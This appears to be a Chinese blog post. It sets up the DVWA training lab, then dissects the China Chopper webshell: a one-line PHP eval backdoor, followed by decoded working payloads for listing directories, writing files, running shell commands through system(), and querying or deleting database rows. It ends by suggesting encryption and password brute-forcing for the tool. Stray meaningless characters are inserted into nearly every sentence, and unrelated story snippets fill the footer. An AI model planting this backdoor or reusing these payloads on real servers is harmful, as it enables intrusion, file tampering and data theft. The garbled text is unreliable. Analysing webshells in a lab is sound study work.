DVWA部署以及菜刀原理

DVWA

0x00 概述

在測(cè)試一些web工具時(shí)楣黍,需要某個(gè)web應(yīng)用作為我們的靶機(jī)绊序,這時(shí)候就首選以前學(xué)校里用過的系統(tǒng)DVWA(Damn Vulnerable Web Application)江锨。

DVWA是一款基于php&mysql編寫的用于常規(guī)WEB漏洞教學(xué)和檢測(cè)的web脆弱性測(cè)試web應(yīng)用闻牡。其中包含了SQL注入盗似,盲注酱塔,文件包含沥邻,XSS,CSRF等一些常見的WEB漏洞羊娃,對(duì)于我們進(jìn)行Web滲透有較強(qiáng)的指導(dǎo)教學(xué)意義唐全。

0x01 安裝配置

我的安裝環(huán)境是Ubuntu+apache2+php+mysql

先把這些工具都從可以通過apt-get下載安裝。

sudo apt-get -y install apache2 mysql-server php5 php5-mysql php5-gd

隨后把官網(wǎng)下載下來的DVWA web應(yīng)用部署在用戶目錄中,我這里的路徑是/home/crazydog/workspace/src/DVWA-1.9邮利。

隨后就得開始對(duì)DVWA進(jìn)行配置了弥雹。我們將DVWA配置在apache2中。

首先在apache的目錄下延届,修改ports.conf剪勿,該文件是apache2監(jiān)聽的端口。于是我們仿照Listen 80在其后添加了一句話Listen 2333方庭,說明讓apache去監(jiān)聽2333端口厕吉,該端口隨后將用于接收對(duì)DVWA的訪問。

隨后設(shè)置DVWA在apache中的VirtualHost虛擬主機(jī)械念。我們?cè)谟^察apache2.conf配置文件時(shí)头朱,會(huì)發(fā)現(xiàn)配置文件中包含了sites-enabled文件夾下的內(nèi)容,而該文件夾下都是一些對(duì)于每個(gè)web應(yīng)用使用的虛擬主機(jī)的配置龄减,都是一些軟連接项钮,其實(shí)際文件處于sites-avaiable文件夾中。故我們將000-default.conf文件復(fù)制一份希停,命名為dvwa.conf烁巫,并將文件修改為:

<VirtualHost *:2333>
    ServerAdmin webmaster@localhost
    DocumentRoot /home/crazydog/workspace/src/DVWA-1.9
    <Directory /home/crazydog/workspace/src/DVWA-1.9>
        Options Indexes FollowSymLinks
        AllowOverride None
        Require all granted
    </Directory>
    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

該虛擬主機(jī)用DocumentRoot /home/crazydog/workspace/src/DVWA-1.9指明了web應(yīng)用的根目錄,用<Directory />指明了web應(yīng)用對(duì)目錄/home/crazydog/workspace/src/DVWA-1.9的訪問權(quán)限脖苏,此處,文應(yīng)用對(duì)該目錄具有全部權(quán)限定踱。虛擬主機(jī)所處的端口為2333棍潘。

這樣的設(shè)置后,我們使用命令sudo a2ensite dvwa即可啟用web應(yīng)用DVWA崖媚,隨后sudo service apache2 reload即可載入應(yīng)用亦歉。

頁(yè)面為localhost:2333/setup.phplocalhost:2333/index.php

首先進(jìn)入設(shè)置頁(yè)面,需要對(duì)DVWA應(yīng)用所需要的數(shù)據(jù)庫(kù)進(jìn)行創(chuàng)建與初始化畅哑。這時(shí)候我們是沒有相關(guān)用戶和數(shù)據(jù)庫(kù)的肴楷。

首先進(jìn)入mysql去創(chuàng)建數(shù)據(jù)庫(kù)dvwa。

mysql -u root -p

mysql> create database dvwa;

隨后創(chuàng)建新用戶dvwa荠呐,密碼123456

mysql> insert into mysql.user(Host,User,Password) values("localhost",'dvwa',password('123456'));
mysql> flush privileges;

隨后修改dvwa用戶針對(duì)數(shù)據(jù)庫(kù)dvwa的相關(guān)權(quán)限

mysql> grant all privileges on dvwa.* to dvwa@localhost identified by '123456'
mysql> flush privileges;

接著修改dvwa目錄下的config/config.inc.php

$_DVWA[ 'db_server' ]   = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ]     = 'dvwa';
$_DVWA[ 'db_password' ] = '123456';

隨后在setup頁(yè)面點(diǎn)擊create tables之類的按鈕初始化DVWA赛蔫。

PS:需要讓hackable/uploads/以及./external/phpids/0.6/lib/IDS/tmp/phpids_log.txt具有寫權(quán)限。

0x02 使用

這里就是登陸了泥张。localhost:2333/login.php可以用于登陸呵恢,登陸后如下。

隨后修改dvwa的安全級(jí)別

一句話木馬

0x03 概念

在web服務(wù)器的某個(gè)web應(yīng)用根目錄下創(chuàng)建一個(gè)網(wǎng)站源碼腳本媚创,即web應(yīng)用是由php編寫的渗钉,那么木馬腳本應(yīng)由php編寫,該腳本文件中只有一句話的腳本钞钙,用戶通過遠(yuǎn)程連接該文件鳄橘,通過POST方式去提交數(shù)據(jù)声离,從而完成遠(yuǎn)程獲得webshell的訪問權(quán)限。

0x04 例子

<?php eval($_POST['skyfucker'])?>

0x05 解釋

eval函數(shù)是能夠?qū)⑵渲械膮?shù)作為命令行的命令來解釋執(zhí)行瘫怜。
其中的_POST['skyfucker']則是將傳過來的POST body里的skyfucker變量的值獲取出來术徊,相當(dāng)于一句話木馬客戶端中登陸的密碼。通過這樣宝磨,我們就可以將客戶端的數(shù)據(jù)傳遞過來并作為命令執(zhí)行了弧关。

中國(guó)菜刀

0x06 概述

中國(guó)菜刀是一款牛逼的網(wǎng)站管理軟件,通過在web應(yīng)用的目錄下留下一個(gè)一句話木馬唤锉,就可以利用這個(gè)菜刀客戶端去連接來獲取webshell了世囊。

0x07 使用方法

先是創(chuàng)建連接。

在地址里填寫目標(biāo)應(yīng)用中一句話木馬的URL窿祥,隨后的空格里填寫客戶端登陸的密碼株憾,就是之前一句話里的skyfucker

而在config里填寫的就是數(shù)據(jù)庫(kù)登陸的一些參數(shù)了晒衩,如果你通過某些途徑知道目標(biāo)主機(jī)的數(shù)據(jù)庫(kù)賬號(hào)密碼之類的信息嗤瞎,就可以順利登陸其數(shù)據(jù)庫(kù)了。

隨后展示一下菜刀的能力听系。

文件管理

文件上傳

遠(yuǎn)程shell

數(shù)據(jù)庫(kù)操作

自寫腳本

0x08 原理

就讓我們用wireshark抓包來理解一下菜刀的工作原理贝奇。

自寫腳本執(zhí)行

我們?cè)谧謱懩_本時(shí),輸入了print("hello world!");靠胜,點(diǎn)擊執(zhí)行掉瞳。查看wireshark±四可以看到發(fā)出的http請(qǐng)求:

從中可見:

[
    "skyfucker":"@eval/**/?($_POST[z9]/**/?($_POST[z0]));",
    "z9":"BaSE64_dEcOdE",
    "z0":"QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0\
            BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21h\
            Z2ljX3F1b3Rlc19ydW50aW1lKDApO2\
            VjaG8oIi0+fCIpOztwcmludCgiaGVsbG8gd\
            29ybGQhIik7O2VjaG8oInw8LSIpO2RpZSgpOw=="
]

這樣的POST數(shù)據(jù)被一句話木馬的eval解釋執(zhí)行之后就可以看做是eval(base64_decode($_POST[z0]))陕习,即對(duì)z0的值以base64解碼后執(zhí)行。那么我們看看base64解碼后的值是個(gè)啥址愿。利用base64編碼是為了防止特殊字符傳輸失敗该镣。

解碼后可見結(jié)果。

<?php
    # 臨時(shí)關(guān)閉PHP的錯(cuò)誤顯示功能
    @ini_set("display_errors","0");
    # 防止像是dir响谓,上傳文件過大時(shí)超時(shí)
    @set_time_limit(0);
    # 關(guān)閉神奇引號(hào)损合,php4.0后這玩意就不怎么用了,作為傳統(tǒng)保留了下來
    @set_magic_quotes_runtime(0);
    echo("->|");
    ;
    # 打印字符串
    print("hello world!");
    ;
    echo("|<-");
    die();
?>

這一段代碼執(zhí)行完后會(huì)把結(jié)果->hello world!<-返回給客戶端娘纷。

文件管理-目錄遍歷

隨后是文件管理的目錄遍歷塌忽。

從中可見

[
    "skyfucker":"@eval/**/?($_POST[z9]/**/?($_POST[z0]));",
    "z9":"BaSE64_dEcode",
    "z0":"QGluaV9zZXQoImRpc3BsYXlfZXJyb3J\
            zIiwiMCIpO0BzZXRfdGltZV9saW1pdCg\
            wKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDA\
            pO2VjaG8oIi0+fCIpOzskRD1iYXNlN\
            jRfZGVjb2RlKGdldF9tYWdpY19xdW90ZXN\
            fZ3BjKCk/c3RyaXBzbGFzaGVzKCRfUE9T\
            VFsiejEiXSk6JF9QT1NUWyJ6MSJdKTskRj1Ab\
            3BlbmRpcigkRCk7aWYoJEY9PU5VTEwpe2VjaG\
            8oIkVSUk9SOi8vIFBhdGggTm90IEZvdW5kIE9yIE5v\
            IFBlcm1pc3Npb24hIik7fWVsc2V7JE09TlVMTDskT\
            D1OVUxMO3doaWxlKCROPUByZWFkZGlyKCRG\
            KSl7JFA9JEQuIi8iLiROOyRUPUBkYXRlKCJZLW0\
            tZCBIOmk6cyIsQGZpbGVtdGltZSgkUCkpO0AkRT1zd\
            WJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJFApL\
            DEwLDgpLC00KTskUj0iXHQiLiRULiJcdCIuQGZpb\
            GVzaXplKCRQKS4iXHQiLiRFLiIKIjtpZihAaXNfZGlyK\
            CRQKSkkTS49JE4uIi8iLiRSO2Vsc2UgJEwuPSR\
            OLiRSO31lY2hvICRNLiRMO0BjbG9zZWRpcigkRik7\
            fTtlY2hvKCJ8PC0iKTtkaWUoKTs=",
    "z1","L2hvbWUvY3Jhenlkb2cvd29ya3\
            NwYWNlL3NyYy9EVldBLTEuOS9kb2NzLw=="
]

這樣的POST數(shù)據(jù)eval解釋執(zhí)行后可以看做是eval(base64_decode($_POST[z0]))

z0解碼后可得(其中可以通過添加@來隱藏error輸出)

<?php
    @ini_set("display_errors","0");
    @set_time_limit(0);
    @set_magic_quotes_runtime(0);
    echo("->|");;
    # 獲取z1的值失驶,如果有空格就去除空格土居,得到路徑
    $D=base64_decode(
        get_magic_quotes_gpc()?stripslashes($_POST["z1"]):$_POST["z1"]);
    # 打開該目錄,獲得文件描述符
    $F=@opendir($D);
    if($F==NULL){
        echo("ERROR:// Path Not Found Or No Permission!");
    }
    else{
        $M=NULL;
        $L=NULL;
        # 讀取該文件描述符對(duì)應(yīng)的信息-文件名
        while($N=@readdir($F)){
            # 拼接字符串形成目錄下子文件的絕對(duì)路徑
            $P=$D."/".$N;
            # 獲取子文件的filetime
            $T=@date("Y-m-d H:i:s",@filemtime($P));
            # 返回文件目錄的訪問權(quán)限,這里講10進(jìn)制轉(zhuǎn)8進(jìn)制擦耀,并取字符串結(jié)果的后4字節(jié)
            @$E=substr(base_convert(@fileperms($P),10,8),-4);
            # 屬性字符串=\tfiletime\t文件大小\t訪問權(quán)限
            $R="\t".$T."\t".@filesize($P)."\t".$E." ";
            if(@is_dir($P))
                # 該子文件是目錄棉圈,則返回文件名/文件屬性+" "
                $M.=$N."/".$R;
            else
                # 否則返回文件名屬性 
                $L.=$N.$R;
        }
        # 打印
        echo $M.$L;
        @closedir($F);
    }
    ;
    echo("|<-");
    die();
?>

z1解碼后可得/home/crazydog/workspace/src/DVWA-1.9/docs/,即需要獲得的目錄路徑

該段代碼執(zhí)行后會(huì)將z1中傳過去的文件絕對(duì)路徑作為參數(shù)眷蜓,若是文件夾則打印文件名1/文件1屬性 文件名2/文件2屬性 文件名3/文件3屬性分瘾,若是文件則打印文件名1文件1屬性 文件名2/文件2屬性。(這里可能有些許不準(zhǔn)確吁系,望大神指點(diǎn))

文件管理-上傳文件

這里是文件管理的文件上傳德召。

從中可見

[
    "&skyfucker":"@eval/**/?($_POST[z9]/**/?($_POST[z0]));",
    "z0":"QGluaV9zZXQoImRpc3BsYXlfZXJyb3J\
            zIiwiMCIpO0BzZXRfdGltZV9saW1pd\
            CgwKTtAc2V0X21hZ2ljX3F1b3Rlc19yd\
            W50aW1lKDApO2VjaG8oIi0+fCIpOzskZj1iYX\
            NlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7J\
            GM9JF9QT1NUWyJ6MiJdOyRjPXN0cl9yZXBsYWN\
            lKCJcciIsIiIsJGMpOyRjPXN0cl9yZXBsYWNlKC\
            JcbiIsIiIsJGMpOyRidWY9IiI7Zm9yKCRpPTA\
            7JGk8c3RybGVuKCRjKTskaSs9MikkYnVmLj11cmxkZW\
            NvZGUoIiUiLnN1YnN0cigkYywkaSwyKSk7ZWNobyhAZnd\
            yaXRlKGZvcGVuKCRmLCJ3IiksJGJ1Zik/IjE\
            iOiIwIik7O2VjaG8oInw8LSIpO2RpZSgpOw==",
    "z9":"BaSE64_dEcOdE",
    "z1":"L2hvbWUvY3Jhenlkb2cvd29\
            ya3NwYWNlL3NyYy9EVldBLTEuOS9oYWNr\
            YWJsZS91cGxvYWRzL2V4aWFHVU5EQU0uanBn",
    "z2":"pic"
]

這樣的skyfucker可以看做是@eval(base64_encode($_POST[z0]))

讓我們看看z0的encode64解碼

<?php
    @ini_set("display_errors","0");
    @set_time_limit(0);
    @set_magic_quotes_runtime(0);
    echo("->|");;
    # 解析絕對(duì)路徑名稱
    $f=base64_decode($_POST["z1"]);
    # 獲得圖片的編碼流
    $c=$_POST["z2"];
    # 去掉\r
    $c=str_replace("\r","",$c);
    # 去掉\n
    $c=str_replace("\n","",$c);
    $buf="";
    # 把編碼流每?jī)蓚€(gè)字節(jié)前加上‘%’然后url解碼
    for($i=0;$i<strlen($c);$i+=2)
        $buf.=urldecode("%".substr($c,$i,2));
    # 寫到絕對(duì)路徑上
    echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;
    echo("|<-");
    die();
?>

如此一來,我們就可以在絕對(duì)路徑上上傳文件了汽纤。

遠(yuǎn)程shell

所謂webshell就是通過web應(yīng)用獲取一個(gè)遠(yuǎn)程shell上岗,這里就介紹這個(gè)shell是怎么來的。

以下是我們?cè)趕hell中執(zhí)行ls指令抓到的包蕴坪。

從中可見

[
    "skyfucker":"@eval/**/?($_POST[z9]/**/?($_POST[z0]));",
    "z0":"QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCI\
            pO0BzZXRfdGltZV9saW1pdCgwKTt\
            Ac2V0X21hZ2ljX3F1b3Rlc19ydW50\
            aW1lKDApO2VjaG8oIi0+fCIpOzskbT1n\
            ZXRfbWFnaWNfcXVvdGVzX2dwYygpOyRw\
            PWJhc2U2NF9kZWNvZGUoJG0/c3RyaXB\
            zbGFzaGVzKCRfUE9TVFsiejEiXSk6JF9Q\
            T1NUWyJ6MSJdKTskcz1iYXNlNjRfZGVj\
            b2RlKCRtP3N0cmlwc2xhc2hlcygkX1BP\
            U1RbInoyIl0pOiRfUE9TVFsiejIiXSk7JGQ9Z\
            GlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0Z\
            JTEVOQU1FIl0pOyRjPXN1YnN0cigkZCwwL\
            DEpPT0iLyI/Ii1jIFwieyRzfVwiIjoiL2MgXCJ\
            7JHN9XCIiOyRyPSJ7JHB9IHskY30iO\
            0BzeXN0ZW0oJHIuIiAyPiYxIiwkcmV0KTtwcmludCA\
            oJHJldCE9MCk/IgpyZXQ9eyRyZXR9CiI6IiI7O2V\
            jaG8oInw8LSIpO2RpZSgpOw==",
    "z9":"BaSE64_dEcOdE",
    "z1":"L2Jpbi9zaA==",
    "z2":"Y2QgL2hvbWUvY3Jhenlkb2cvd29ya\
                3NwYWNlL3NyYy9EVldBLTEuOS87bHM7ZWNo\
                byBbU107cHdkO2VjaG8gW0Vd"
]

z1是啥肴掷?喏,/bin/sh

z2是啥背传,看 cd /home/crazydog/workspace/src/DVWA-1.9/;ls;echo [S];pwd;echo [E]

skyfucker依舊是那樣用呆瞻,我們還是來看看z0吧。

<?php
    @ini_set("display_errors","0");
    @set_time_limit(0);
    @set_magic_quotes_runtime(0);
    echo("->|");;
    $m=get_magic_quotes_gpc();
    # 獲取z1的內(nèi)容 就是執(zhí)行的命令sh
    $p=base64_decode($m?stripslashes($_POST["z1"]):$_POST["z1"]);
    # 獲取z2的內(nèi)容径玖,具體要執(zhí)行的命令痴脾,就是腳本
    $s=base64_decode($m?stripslashes($_POST["z2"]):$_POST["z2"]);
    # 返回當(dāng)前執(zhí)行腳本的絕對(duì)路徑中的目錄部分
    $d=dirname($_SERVER["SCRIPT_FILENAME"]);
    # 若絕對(duì)路徑以'/'開頭,則是-c方式(linux)執(zhí)行腳本梳星,否則是/c(win)的方式
    $c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
    # 命令組合
    $r="{$p} {$c}";
    # 執(zhí)行腳本然后將錯(cuò)誤信息重定向到標(biāo)準(zhǔn)輸出
    @system($r." 2>&1",$ret);
    # 返回結(jié)果
    print ($ret!=0)?"ret={$ret}":"";;
    echo("|<-");
    die();
?>

這樣就可以實(shí)現(xiàn)遠(yuǎn)程終端了赞赖,當(dāng)然其他功能也是類似的。

數(shù)據(jù)庫(kù)管理

現(xiàn)在以在DVWA數(shù)據(jù)庫(kù)里遍歷user表為例丰泊,展示其原理薯定。

POST的表單內(nèi)容里填入了以下內(nèi)容

[
    "skyfucker":"@eval/**/?($_POST[z9]/**/?($_POST[z0]));",
    "z0":"QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCI\
            pO0BzZXRfdGltZV9sa\
            W1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc\
            19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsk\
            bT1nZXRfbWFnaWNfcXVvdGVzX2dwYygpOyRoc3Q\
            9JG0/c3RyaXBzbGFzaGVzKCRfUE9TVF\
            siejEiXSk6JF9QT1NUWyJ6MSJdOyR\
            1c3I9JG0/c3RyaXBzbGFzaGVzKCRfUE9TVFsiej\
            IiXSk6JF9QT1NUWyJ6MiJdOyRwd2Q9JG0/
            c3RyaXBzbGFzaGVzKCRfUE9TVFsiejMiXSk6J\
            F9QT1NUWyJ6MyJdOyRkYm49JG0/\
            c3RyaXBzbGFzaGVzKCRfUE9TVFsiej\
            QiXSk6JF9QT1NUWyJ6NCJdOyRzcWw9Y\
            mFzZTY0X2RlY29kZSgkX1BPU1RbIno1I\
            l0pOyRUPUBteXNxbF9jb25uZWN0KCRoc\
            3QsJHVzciwkcHdkKTtAbXlzcWxfcXVlcn\
            koIlNFVCBOQU1FUyB1dGYtOCIpO0BteXNxbF9zZW\
            xlY3RfZGIoJGRibik7JHE9QG15c3FsX3F1ZXJ5K\
            CRzcWwpOyRpPTA7d2hpbGUoJGNvbD1AbXlzcWxfZm\
            llbGRfbmFtZSgkcSwkaSkpe2VjaG8oJGNvbC4i\
            XHR8XHQiKTskaSsrO31lY2hvKCJcclxuIik7d2hp\
            bGUoJHJzPUBteXNxbF9mZXRjaF9yb3coJHEpKXtmb\
            3IoJGM9MDskYzwkaTskYysrKXtlY2hvKHRyaW0oJHJ\
            zWyRjXSkpO2VjaG8oIlx0fFx0Iik7fWVjaG8oIlx\
            yXG4iKTt9QG15c3FsX2Nsb3NlKCRUKTs7ZWNobygif\
            DwtIik7ZGllKCk7",
    "z9":"BaSE64_dEcOdE",
    "z1":"localhost",
    "z2":"dvwa",
    "z3":"p@ssw0rd",
    "z4":"dvwa",
    "z5":"U0VMRUNUICogRlJPTSBgdXNlcnNgIE9SREVSIEJZIDEgREVTQyBMSU1JVCAwLDIw"
]

如此一來看看z1~z4都是我們?cè)趏ption里填寫的數(shù)據(jù)庫(kù)參數(shù)始绍,如賬號(hào)密碼瞳购,數(shù)據(jù)庫(kù),主機(jī)等亏推,而z5是SELECT * FROM 'users' ORDER BY 1 DESC LIMIT 0,20的sql語(yǔ)句学赛。

而z0執(zhí)行的指令則是:

<?php
    @ini_set("display_errors","0");
    @set_time_limit(0);
    @set_magic_quotes_runtime(0);
    echo("->|");;
    $m=get_magic_quotes_gpc();
    # 獲取host user password databsename sql語(yǔ)句
    $hst=$m?stripslashes($_POST["z1"]):$_POST["z1"];
    $usr=$m?stripslashes($_POST["z2"]):$_POST["z2"];
    $pwd=$m?stripslashes($_POST["z3"]):$_POST["z3"];
    $dbn=$m?stripslashes($_POST["z4"]):$_POST["z4"];
    $sql=base64_decode($_POST["z5"]);
    # 連接數(shù)據(jù)庫(kù)
    $T=@mysql_connect($hst,$usr,$pwd);
    # 設(shè)置編碼
    @mysql_query("SET NAMES utf-8");
    # 選擇數(shù)據(jù)庫(kù)
    @mysql_select_db($dbn);
    # 執(zhí)行查詢
    $q=@mysql_query($sql);
    $i=0;
    # 打印表頭
    while($col=@mysql_field_name($q,$i)){
        echo($col."\t|\t");
        $i++;
    }
    echo("\r\n");
    # 打印結(jié)果
    while($rs=@mysql_fetch_row($q)){
        for($c=0;$c<$i;$c++){
            echo(trim($rs[$c]));
            echo("\t|\t");
        }
        echo("\r\n");
    }
    @mysql_close($T);;
    echo("|<-");
    die();
?>

如此就簡(jiǎn)單了

假設(shè)說執(zhí)行刪除語(yǔ)句,還是在user表中吞杭。

[ "skyfucker":"@eval/**/?($_POST[z9]/**/?($_POST[z0]));", "z0":"QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskbT1nZXRfbWFnaWNfcXVvdGVzX2dwYygpOyRoc3Q9JG0/c3RyaXBzbGFzaGVzKCRfUE9TVFsiejEiXSk6JF9QT1NUWyJ6MSJdOyR1c3I9JG0/c3RyaXBzbGFzaGVzKCRfUE9TVFsiejIiXSk6JF9QT1NUWyJ6MiJdOyRwd2Q9JG0/c3RyaXBzbGFzaGVzKCRfUE9TVFsiejMiXSk6JF9QT1NUWyJ6MyJdOyRkYm49JG0/c3RyaXBzbGFzaGVzKCRfUE9TVFsiejQiXSk6JF9QT1NUWyJ6NCJdOyRzcWw9YmFzZTY0X2RlY29kZSgkX1BPU1RbIno1Il0pOyRUPUBteXNxbF9jb25uZWN0KCRoc3QsJHVzciwkcHdkKTtAbXlzcWxfcXVlcnkoIlNFVCBOQU1FUyB1dGYtOCIpO0BteXNxbF9zZWxlY3RfZGIoJGRibik7JHE9QG15c3FsX3F1ZXJ5KCRzcWwpO2VjaG8oIlJlc3VsdFx0fFx0XHJcbiIpO2VjaG8oJHE/IkV4ZWN1dGUgU3VjY2Vzc2Z1bGx5ISI6bXlzcWxfZXJyb3IoKSk7ZWNobygiXHR8XHRcclxuIik7QG15c3FsX2Nsb3NlKCRUKTs7ZWNobygifDwtIik7ZGllKCk7", "z9":"BaSE64_dEcOdE", "z1":"localhost", "z2":"dvwa", "z3":"p@ssw0rd", "z4":"dvwa", "z5":"ZGVsZXRlIGZyb20gdXNlcnMgd2hlcmUgZmlyc3RfbmFtZT0nSGFjayc=" ]

z5是這樣的盏浇,delete from users where first_name='Hack'

z0是這樣的


<?php
    @ini_set("display_errors","0");@set_time_limit(0);
    @set_magic_quotes_runtime(0);echo("->|");;$m=get_magic_quotes_gpc();
    $hst=$m?stripslashes($_POST["z1"]):$_POST["z1"];
    $usr=$m?stripslashes($_POST["z2"]):$_POST["z2"];
    $pwd=$m?stripslashes($_POST["z3"]):$_POST["z3"];
    $dbn=$m?stripslashes($_POST["z4"]):$_POST["z4"];
    $sql=base64_decode($_POST["z5"]);
    $T=@mysql_connect($hst,$usr,$pwd);
    @mysql_query("SET NAMES utf-8");
    @mysql_select_db($dbn);
    $q=@mysql_query($sql);
    echo("Result\t|\t\r\n");
    echo($q?"Execute Successfully!":mysql_error());
    echo("\t|\t\r\n");
    @mysql_close($T);;echo("|<-");die();
?>

以上代碼就不做注釋了,基本上和前一段查詢差不多芽狗。

0x09 優(yōu)勢(shì)劣勢(shì)

優(yōu)勢(shì)

  1. 基本滿足多項(xiàng)滲透后遠(yuǎn)程操作绢掰,使用簡(jiǎn)單方便
  2. 本身提供GUI,能夠快速完成入侵
  3. 能夠控制控制服務(wù)器執(zhí)行自定義命令

劣勢(shì)

  1. 閉源
  2. 程序的擴(kuò)展依賴于自定義腳本功能,對(duì)php能力要求高
  3. 需要在服務(wù)器上部署一句話腳本滴劲,容易被掃描
  4. 通信未加密攻晒,不安全,容易被流量監(jiān)測(cè)
  5. 連接數(shù)據(jù)庫(kù)需要知道數(shù)據(jù)庫(kù)賬號(hào)密碼鲁捏,缺乏一些有效的爆破手段

建議

  1. 添加對(duì)通信的加密封包
  2. 集成一些現(xiàn)有的數(shù)據(jù)庫(kù)密碼爆破手段
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市萧芙,隨后出現(xiàn)的幾起案子给梅,更是在濱河造成了極大的恐慌,老刑警劉巖双揪,帶你破解...
    沈念sama閱讀 211,561評(píng)論 6 492
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件动羽,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡盟榴,警方通過查閱死者的電腦和手機(jī)曹质,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,218評(píng)論 3 385
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來擎场,“玉大人羽德,你說我怎么就攤上這事⊙赴欤” “怎么了宅静?”我有些...
    開封第一講書人閱讀 157,162評(píng)論 0 348
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)站欺。 經(jīng)常有香客問我姨夹,道長(zhǎng),這世上最難降的妖魔是什么矾策? 我笑而不...
    開封第一講書人閱讀 56,470評(píng)論 1 283
  • 正文 為了忘掉前任磷账,我火速辦了婚禮,結(jié)果婚禮上贾虽,老公的妹妹穿的比我還像新娘逃糟。我一直安慰自己,他們只是感情好蓬豁,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,550評(píng)論 6 385
  • 文/花漫 我一把揭開白布绰咽。 她就那樣靜靜地躺著,像睡著了一般地粪。 火紅的嫁衣襯著肌膚如雪取募。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 49,806評(píng)論 1 290
  • 那天蟆技,我揣著相機(jī)與錄音玩敏,去河邊找鬼斗忌。 笑死,一個(gè)胖子當(dāng)著我的面吹牛旺聚,可吹牛的內(nèi)容都是我干的飞蹂。 我是一名探鬼主播,決...
    沈念sama閱讀 38,951評(píng)論 3 407
  • 文/蒼蘭香墨 我猛地睜開眼翻屈,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼陈哑!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起伸眶,我...
    開封第一講書人閱讀 37,712評(píng)論 0 266
  • 序言:老撾萬榮一對(duì)情侶失蹤惊窖,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后厘贼,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體界酒,經(jīng)...
    沈念sama閱讀 44,166評(píng)論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,510評(píng)論 2 327
  • 正文 我和宋清朗相戀三年嘴秸,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了毁欣。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 38,643評(píng)論 1 340
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡岳掐,死狀恐怖凭疮,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情串述,我是刑警寧澤执解,帶...
    沈念sama閱讀 34,306評(píng)論 4 330
  • 正文 年R本政府宣布,位于F島的核電站纲酗,受9級(jí)特大地震影響衰腌,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜觅赊,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,930評(píng)論 3 313
  • 文/蒙蒙 一右蕊、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧吮螺,春花似錦饶囚、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,745評(píng)論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)熊咽。三九已至莫鸭,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間横殴,已是汗流浹背被因。 一陣腳步聲響...
    開封第一講書人閱讀 31,983評(píng)論 1 266
  • 我被黑心中介騙來泰國(guó)打工卿拴, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人梨与。 一個(gè)月前我還...
    沈念sama閱讀 46,351評(píng)論 2 360
  • 正文 我出身青樓堕花,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親粥鞋。 傳聞我的和親對(duì)象是個(gè)殘疾皇子缘挽,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,509評(píng)論 2 348

推薦閱讀更多精彩內(nèi)容